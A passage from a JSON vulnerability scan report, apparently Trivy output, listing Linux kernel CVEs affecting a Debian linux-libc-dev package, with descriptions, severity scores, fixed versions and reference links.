"sha256:99b89b9e27feef56eeff9d0718fbbb3ca0fca951fdc43111914439cd51b9dfa0", "Title": "kernel: ocfs2/dlm: fix off-by-one in dlm_match_regions() region comparison", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2/dlm: fix off-by-one in dlm_match_regions() region comparison\n\nThe local-vs-remote region comparison loop uses '\u003c=' instead of '\u003c',\ncausing it to read one entry past the valid range of qr_regions. The\nother loops in the same function correctly use '\u003c'.\n\nFix the loop condition to use '\u003c' for consistency and correctness.", "Severity": "HIGH", "CweIDs": [ "CWE-193" ], "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53309", "https://git.kernel.org/linus/01b61e8dda9b0fdb0d4cda43de25f4e390554d7b%20%287.1-rc1%29", "https://git.kernel.org/stable/c/01b61e8dda9b0fdb0d4cda43de25f4e390554d7b", "https://git.kernel.org/stable/c/1fb7f356547d9688822315cd2b205ff0bd5429b4", "https://git.kernel.org/stable/c/2a0673836f019e7c032acbf48d022d5ccf02a845", "https://git.kernel.org/stable/c/426cd8eedac89b86148d4478990eeef16e8a2520", "https://git.kernel.org/stable/c/760ab35040aca8399021fdb9ff1db1089feb7194", "https://git.kernel.org/stable/c/819d8ebad3200a53de99bd7e297bc428e41ced54", "https://git.kernel.org/stable/c/c60a2710b73838d250cda57344c049b89abc5d52", "https://git.kernel.org/stable/c/d5403ae28085761d58b555645bc7d5feadb10073", "https://linux.oracle.com/cve/CVE-2026-53309.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062620-CVE-2026-53309-794d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53309", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8644-1", "https://ubuntu.com/security/notices/USN-8644-2", "https://ubuntu.com/security/notices/USN-8644-3", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8646-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8714-1", "https://ubuntu.com/security/notices/USN-8714-2", "https://ubuntu.com/security/notices/USN-8714-3", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8725-1", "https://ubuntu.com/security/notices/USN-8725-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8748-1", "https://ubuntu.com/security/notices/USN-8850-1", "https://ubuntu.com/security/notices/USN-8911-1", "https://www.cve.org/CVERecord?id=CVE-2026-53309" ], "PublishedDate": "2026-06-26T20:17:24.203Z", "LastModifiedDate": "2026-07-06T20:14:26.23Z" }, { "VulnerabilityID": "CVE-2026-53329", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53329", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a2d98282f8546c2de3de0b78bc68345b8735d67daaf6b831d88783cdb504cec", "Title": "kernel: drm/amd/display: Use krealloc_array() in dal_vector_reserve()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Use krealloc_array() in dal_vector_reserve()\n\n[Why \u0026 How]\ndal_vector_reserve() computes the allocation size as\n\"capacity * vector-\u003estruct_size\" using uint32_t arithmetic, which can\nsilently wrap to a small value on overflow. This would cause krealloc to\nreturn a smaller buffer than expected, leading to heap overflows on\nsubsequent vector appends.\n\nReplace krealloc() with krealloc_array() which performs an internal\noverflow check and returns NULL on wrap, preventing the issue.\n\n(cherry picked from commit 37668568641ccc4cc1dbca4923d0a16609dd5707)", "Severity": "HIGH", "CweIDs": [ "CWE-674", "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-53329", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/da48bc4461b8a5ebfb9264c9b191a701d8e99009%20%287.1-rc7%29", "https://git.kernel.org/stable/c/201151e120f0062bcda21cad5d007b82725ad23b", "https://git.kernel.org/stable/c/31180638a33acad12c863132704a76536fb66211", "https://git.kernel.org/stable/c/9540b0a4d13e4ede64ae1197d66a176d2149daa9", "https://git.kernel.org/stable/c/a914aa802669e073f014dae2e5708633b5cecd34", "https://git.kernel.org/stable/c/b15825deac1acff72638bbc8f05b89ceef8dfb13", "https://git.kernel.org/stable/c/da48bc4461b8a5ebfb9264c9b191a701d8e99009", "https://git.kernel.org/stable/c/de988c7a31f0774f07894cfe4802996f318e2870", "https://git.kernel.org/stable/c/e09689286385a66311ac6922af95339d7a3cef8d", "https://linux.oracle.com/cve/CVE-2026-53329.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026070142-CVE-2026-53329-ccf5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53329", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53329" ], "PublishedDate": "2026-07-01T14:16:40.76Z", "LastModifiedDate": "2026-10-19T20:19:14.93Z" }, { "VulnerabilityID": "CVE-2026-53330", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53330", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:61cb4c4feafd0821ae0a84e5184e3116d0a2e57bffc9503f2eab1baf3bb58cec", "Title": "kernel: drm/amd/display: Fix out-of-bounds read in dp_get_eq_aux_rd_interval()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix out-of-bounds read in dp_get_eq_aux_rd_interval()\n\n[Why \u0026 How]\nThe aux_rd_interval array in struct dc_lttpr_caps is declared with\nMAX_REPEATER_CNT - 1 (7) elements, indexed 0..6. However, the offset\nparameter passed to dp_get_eq_aux_rd_interval() can be as large as\nMAX_REPEATER_CNT (8) when a sink reports 8 LTTPR repeaters via DPCD.\nThis leads to an out-of-bounds read of aux_rd_interval[7] when offset\nis 8.\n\nFix this by growing aux_rd_interval to MAX_REPEATER_CNT elements to\naccommodate the full range of valid repeater counts defined by the DP\nspec.\n\n(cherry picked from commit a55a458a8df37a65ffda5cf721d554a8f74f6b04)", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53330", "https://git.kernel.org/linus/e8b4d37eba05141ee01794fc6b7f2da808cee83b%20%287.1-rc7%29", "https://git.kernel.org/stable/c/454d3b3d499c18373f8960d31aea48338a3ca9e0", "https://git.kernel.org/stable/c/7b310c6d82d782282085c9728dfe69e07d185b6c", "https://git.kernel.org/stable/c/7c5f2d16a8f4464bf2a719ceb2316b8a6b87a3c0", "https://git.kernel.org/stable/c/a632474c793b7f2a9bbd3d8e3d0dd7d256989300", "https://git.kernel.org/stable/c/dc1490927d79fe9621e29f4a4f5d7b5ccb6aea3e", "https://git.kernel.org/stable/c/e8b4d37eba05141ee01794fc6b7f2da808cee83b", "https://lore.kernel.org/linux-cve-announce/2026070142-CVE-2026-53330-0e20@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53330", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-53330" ], "PublishedDate": "2026-07-01T14:16:40.893Z", "LastModifiedDate": "2026-10-30T13:19:16.39Z" }, { "VulnerabilityID": "CVE-2026-53356", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53356", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:227dc7532899047ee95f2b16855be5395e5908b389500126db73b2dc275742b9", "Title": "kernel: drm/i915/gem: Fix phys BO pread/pwrite with offset", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/gem: Fix phys BO pread/pwrite with offset\n\nsg_page() returns struct page pointer not (void *) so the scaling\nof pread/pwrite is wrong for phys BO and wrong parts of BO would be\naccessed if non-zero offset is used.\n\nLast impacted platform with overlay or cursor planes using phys\nmapping was Gen3/945G/Lakeport.\n\n(cherry picked from commit 3e49a2f85070b2fb672c1e0fdba281a4ea3aebe6)", "Severity": "HIGH", "CweIDs": [ "CWE-1164" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-53356", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/d21ad938398bca695a511307de38a65889e3b354%20%287.1%29", "https://git.kernel.org/stable/c/07c33be968d9e0cab6cba38c81850a09942fcb2e", "https://git.kernel.org/stable/c/14469860e2e39b7095dcd658d2bad38a11110a68", "https://git.kernel.org/stable/c/1ec8fc63e9cdb22da54e48e536c9204020416fc6", "https://git.kernel.org/stable/c/32d4c5d328a3ff995420f4f85163e1e403f43628", "https://git.kernel.org/stable/c/3bd168dd835b93a3862cd05b0d13c432b115f9d6", "https://git.kernel.org/stable/c/40f738991058eb3e3530c3006a5bd6fd5e29f035", "https://git.kernel.org/stable/c/d21ad938398bca695a511307de38a65889e3b354", "https://git.kernel.org/stable/c/dd51a2eeb93bc6faa892ff9083911dd23f82c187", "https://linux.oracle.com/cve/CVE-2026-53356.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026070147-CVE-2026-53356-0d5f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53356", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53356" ], "PublishedDate": "2026-07-01T14:16:44.733Z", "LastModifiedDate": "2026-10-19T20:19:15.497Z" }, { "VulnerabilityID": "CVE-2026-53359", "VendorIDs": [ "DLA-4688-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53359", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:496fc9d0f86dfb5d2931ce23d2b6cde036b905b4b87a91f89567c027d5260538", "Title": "kernel: KVM: x86: Fix shadow paging use-after-free due to unexpected role", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86: Fix shadow paging use-after-free due to unexpected role\n\nCommit 0cb2af2ea66ad (\"KVM: x86: Fix shadow paging use-after-free due\nto unexpected GFN\") fixed a shadow paging mismatch between stored and\ncomputed GFNs; the bug could be triggered by changing a PDE mapping from\noutside the guest, and then deleting a memslot. The rmap_remove()\ncall would miss entries created after the PDE change because the GFN\nof the leaf SPTE does not match the GFN of the struct kvm_mmu_page.\n\nA similar hole however remains if the modified PDE points to a non-leaf\npage. In this case the gfn can be made to match, but the role does not\nmatch: the original large 2MB page creates a kvm_mmu_page with direct=1,\nwhile the new 4KB needs a kvm_mmu_page with direct=0. However,\nkvm_mmu_get_child_sp() does not compare the role, and therefore reuses\nthe page.\n\nThe next step is installing a leaf (4KB) SPTE on the new path which\nrecords an rmap entry under the gfn resolved by the walk. But when\nthat child is zapped its parent kvm_mmu_page has direct=1 and\nkvm_mmu_page_get_gfn() computes the gfn for the 4KB page as\nsp-\u003egfn + index instead of using sp-\u003eshadowed_translation[] (or sp-\u003egfns[]\nin older kernels). It therefore fails to remove the recorded entry.\n\nWhen the memslot is dropped the shadow page is freed but the rmap\nentry survives, as in the scenario that was already fixed. Code that\nlater walks that gfn (dirty logging, MMU notifier invalidation, and\nso on) dereferences an sptep that lies in the freed page, causing the\nuse-after-free.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53359", "http://www.openwall.com/lists/oss-security/2026/07/06/7", "https://access.redhat.com/errata/RHSA-2026:36957", "https://access.redhat.com/security/cve/CVE-2026-53359", "https://bugzilla.redhat.com/2429036", "https://bugzilla.redhat.com/2482587", "https://bugzilla.redhat.com/2497033", "https://bugzilla.redhat.com/show_bug.cgi?id=2429036", "https://bugzilla.redhat.com/show_bug.cgi?id=2482587", "https://bugzilla.redhat.com/show_bug.cgi?id=2497033", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71066", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53359", "https://errata.almalinux.org/9/ALSA-2026-36957.html", "https://errata.rockylinux.org/RLSA-2026:36957", "https://git.kernel.org/linus/81ccda30b4e83d8f5cc4fd50503c44e3a33abfeb%20%287.2-rc1%29", 